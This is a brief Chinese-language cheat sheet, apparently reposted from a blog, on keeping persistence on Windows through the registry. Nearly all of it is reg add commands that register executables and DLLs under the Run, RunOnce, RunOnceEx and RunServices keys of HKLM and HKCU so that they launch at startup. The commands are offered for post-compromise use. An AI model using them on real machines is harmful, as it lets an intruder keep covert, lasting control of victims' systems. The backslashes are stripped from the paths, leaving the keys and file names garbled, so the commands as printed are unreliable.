windows权限维持之注册表

适用于dll或者自启动
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001" /v bug /t REG_SZ /d "C:ugug.exe" 
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend" /v bug /t REG_SZ /d "C:ugug.dll"

reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v bug /t REG_SZ /d "C:Users	estDownloadsug.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v bug /t REG_SZ /d "C:Users	estDownloadsug.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v bug /t REG_SZ /d "C:Users	estDownloadsug.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v bug /t REG_SZ /d "C:Users	estDownloadsug.exe"

reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v yang /t REG_SZ /d "C:programdatahaha.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v yang /t REG_SZ /d "C:programdatahaha.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v yang /t REG_SZ /d "C:programdatahaha.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v yang /t REG_SZ /d "C:programdatahaha.exe"
案例

原文地址:https://www.cnblogs.com/Yang34/p/14186904.html